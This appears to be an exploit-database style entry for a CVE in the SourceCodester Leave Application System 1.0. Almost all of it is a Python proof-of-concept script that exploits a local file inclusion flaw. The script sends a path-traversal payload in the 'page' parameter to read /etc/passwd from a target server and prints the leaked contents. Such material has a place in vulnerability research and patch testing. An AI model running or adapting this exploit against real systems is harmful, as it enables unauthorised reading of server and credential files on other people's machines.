CVE-2026-5210 SourceCodester请假系统文件包含漏洞

import requests # Exploit Title: SourceCodester Leave Application System 1.0 - Local File Inclusion # Date: 2026-03-31 # Exploit Author: Analyst # Vendor Homepage: https://www.sourcecodester.com/ # Software Link: https://www.sourcecodester.com/php/14976/leave-management-system-using-phpmysqli-source-code.html # Version: 1.0 # CVE: CVE-2026-5210 def exploit_lfi(target_url): """ Exploit the LFI vulnerability by manipulating the 'page' parameter. """ # The vulnerable endpoint usually accepts a 'page' parameter # Attempting to read /etc/passwd on Linux systems payload = "?page=../../../../etc/passwd" full_url = f"{target_url}{payload}" try: response = requests.get(full_url, timeout=10) if response.status_code == 200: # Check if root user exists in response (basic check for /etc/passwd) if "root:x:0:0:" in response.text: print(f"[+] Success! File inclusion verified.") print(f"[+] Target: {target_url}") print("[+] Response snippet:") print(response.text[:500]) # Print first 500 chars else: print("[-] Exploit sent, but file content pattern not found.") else: print(f"[-] HTTP Error: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost/leave_application_system/index.php" exploit_lfi(target)